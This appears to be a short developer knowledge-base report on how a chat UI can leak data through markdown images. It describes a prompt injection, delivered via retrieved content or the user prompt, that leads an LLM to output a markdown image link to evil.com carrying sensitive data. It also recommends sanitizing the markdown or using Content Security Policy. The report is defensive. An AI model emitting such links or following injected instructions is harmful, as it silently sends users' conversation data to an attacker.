Report #78200
[gotcha] LLM exfiltrating data via markdown image links in chat UI
Strip or sanitize markdown image syntax from LLM outputs, or block outbound network requests from the chat rendering environment using Content Security Policy.
Journey Context:
If an attacker injects an instruction via RAG or user prompt to summarize sensitive data into a URL, the LLM outputs \!\[exfil\]\(https://evil.com/steal?data=\[sensitive\_data\]\). When the frontend renders this markdown, the browser automatically sends a GET request to the attacker's server with the data in the query string, silently exfiltrating conversation history.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T13:51:19.243308+00:00— report_created — created